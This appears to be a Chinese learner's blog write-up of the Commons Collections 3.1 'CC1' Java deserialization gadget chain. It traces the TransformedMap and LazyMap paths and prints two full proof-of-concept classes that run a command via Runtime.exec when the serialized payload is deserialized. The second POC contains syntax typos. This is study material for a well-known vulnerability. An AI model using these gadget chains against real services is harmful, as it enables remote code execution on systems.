Commons-Collections1反序列化
前言
想学Java很久了,之前也买了P牛的知识星球,但由于没啥基础,所以Java代码审计里面很多内容都看不太懂。最近这段时间学了一下SE的基础、反射和动态代理。现在来学习一下反序列化。
Commons-Collections是什么?
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。
漏洞复现环境:
commons-collections3.1
jdk8u65
关于jdk: 最好是把src.zip解压,然后加入openjdk的对应版本的sun包,因为甲骨文的jdk的sum包是class文件,没法调试
复现过程:
TransformedMap链:
先来看一下InvokerTransformer类

这里接收一个对象,然后反射调用,其中方法名、参数类型和参数全都是可控的。这里就是一个任意方法调用。先用反射来弹一个计算器
public static void main(String[] args) throws Exception{
Class runtime = Class.forName("java.lang.Runtime");//反射获取Runtime类
Method getRuntime = runtime.getMethod("getRuntime");//获取getRuntime方法
Method execMethod = runtime.getMethod("exec", String.class);//获取exec方法
Object r = getRuntime.invoke(runtime);//执行getRuntime方法返回一个Runtime对象
execMethod.invoke(r,"calc");//执行exec方法
}
现在把这个改成InvokerTransformer
的写法,先来看下构造函数。参数名、参数类型、参数值。

public static void main(String[] args) throws Exception{
Class runtime = Class.forName("java.lang.Runtime");//反射获取Runtime类
Method getRuntime = runtime.getMethod("getRuntime");//获取getRuntime方法
Object r = getRuntime.invoke(runtime);//执行getRuntime方法返回一个Runtime对象
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}

接下来就找一找有哪些类调用了InvokerTransformer
类的transform
方法。


最后是找到了TransformedMap
类有几处调用了这个transform
方法。



我们重点来看一下TransformedMap
的构造函数和checkSetValue
方法,这里提供了一个静态方法decorate
,可以返回一个TransformedMap对象。
可以看到构造器传入了一个map
、传入了一个keyTransforme
r和一个valueTransformer
,而checkSetValue
方法中,执行了valueTransformer
的transform
方法。
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
这里将一个map
和invokerTransforme
r对象传入进去,就会执行invokerTransformer.transformer(value)
,如果要达到命令执行的效果的话,这里的value
必须得是可控的。所以这里查找一下哪里调用了这个checkSetValue
。

发现AbstractInputCheckedMapDecorator
类的MapEntry
方法调用了checkSetValue
。

只需要遍历这里被修饰过的Map,就会走到MapEntry
方法的setValue方法。接着就会调用checkSetValue
方法,也就是回到了TransformedMap
的checkSetValue
。



现在只需要找哪个类的readObject方法调用了这里的setValue。最后是在sun.reflect.annotation.AnnotationInvocationHandler
类中找到了。

这里有一个遍历Map的功能,然后memberValue.setValue
这里对这个值调用了setValue方法。先来看下这个类的构造方法

它接受两个参数,第一个参数type是一个Class对象,第二个参数memberValues是一个Map对象。这个Map对象是完全可控的,我们可以将前面写好的Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
这个transformedMap传进去。由于这个类没有声明是public,默认的是default类型,那么只能在他的这个包底下才能访问,所以我们只能通过反射去获取这个类。
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);
虽然看起来这样子没什么问题,但是其实还是有个问题:
- 这里的value想要传入Runtime对象,如何传进去呢?
先来改一下代码,之前是只用InvokerTransformer调用了exec方法,现在将整个反射过程都用InvokerTransformer来写
Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
但是这样要重复的写好几个类,所以可以用ChainedTransformer
来一起写了,先来看一下他的构造函数

传入的是一个Transformer[]数组,我们可以把要调用的方法全都写进去,然后transform方法会进行一个递归的调用。

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

现在可以正常弹出计算机了,说明已经把格式改过来了。

这里之前传入的是invokerTransformer,我们全都改写成了chainedTransformer,所以直接传入chainedTransformer对象就好了

这里只调用了一次,就相当于调用了Transformer[]数组里的三次方法。现在就应该着手于如何解决之前提出的问题:

可能有两个地方出现了问题:
- 这里最开始if判断没有通过!
- memberValue.setValue这里有问题!

现在去调试一下,这里对memberValues调用getKey()方法,然后再在memberTypes里面查找这个key。没找到,这个if就直接没进去

所以必须要找一个有成员方法的class,并且数组的这个key,还要改为他的成员方法的名字

这里是找到了一个Target,把map.put那里第一个参数改为value,然后继续调试。


这下是能进入if了,然后继续跟进,发现最后走到了checkSetValue这里,也就是执行命令的最后那个点

注意看这里的value值,还是得不到我们想要的。这时候其实有一个类可以解决,那就是ConstantTransformer

这个类的transform方法无论传入什么参数,都会返回构造的时候传入的值。
虽然AnnotationInvocationHandler
类最后那个member.setValue的Value的值我们控制不了,但是只需要最后调用的是ConstantTransformer的transformer方法就可以返回Runtime对象了
因为最后执行命令是调用了transforms的transform方法,所以将这个ConstantTransformer
写到最前面,让他返回一个Runtime对象


然后再进行后续的一系列调用,最后成功弹出计算器。

完整利用链:
package CC.CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("Le1aaaa.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Le1aaaa.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
LazyMap链:
LazyMap跟和TransformedMap类似,都继承了AbstractMapDecorator。但是其漏洞的出发点不一样,TransformedMap是在写入元素的时候执行transform方法,而LazyMap是在get方法中执行的factory.transfrom
。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
可以看到get方法里面调用了transform方法,get() 方法获取不到 key 的时候触发 transform,所以我们构造时就不放key了。接下来看看factory是否可控

通过构造函数,我们可以看到factory是可控的,于是可以按照构造函数的规则进行构造并调用get方法

但是在sun.reflect.annotation.AnnotationInvocationHandler
的readobj中没有找到直接调用Map的get方法。但是在AnnotationInvocationHandler类中的invoke方法调用到了get:
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
接着我们看一下这里的memberValues是否可控,如果可控就可以传入上面的POC

这里的invoke()方法会根据传入参数,先获取调用方法名和调用参数,然后需要我们调用的方法不能是equals且调用方法是无参的。然后因为下面switch(var7)我们要让他default,所以var7我们要保持它的值是-1,所以我们传入的方法也不能是toString,hashCode,annotationType。
接下来就需要去到readobject中去找,看看有没有调用一些满足条件的无参方法,这样反序列化时配合动态代理机制就可以自动跳转到这里。知识点:被动态代理的对象调用任意方法都会调用对应的InvocationHandler的invoke方法

readObject方法里面,不需要任何处理就会自己调用一个无参方法entrySet(),所以我们只需要控制memberValues传入的是动态代理的实例对象,即可进入到invoke方法调用get方法,进而调用transform执行命令了

因为想要LazyMap调用get方法,所以这里传入,让memberValues等于LazyMap,因为readObject里面调用过无参方法,所以这里就会走到AnnotationInvocationHandler类的invoke方法,然后就会调用LazyMap,进而执行transform。
完整POC:
package CC.CC1.LazyMap;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class LazyMapPoc {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);//
handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o =(Object) ois.readObject();
}
}
放一张ysoserial的顺序图来说明整个完整调用流程

最后:
前前后后差不都看了接近一周了,对于初学者来说,理解起来还是很不容易,还是自己太菜了!继续加油吧!😴😴😴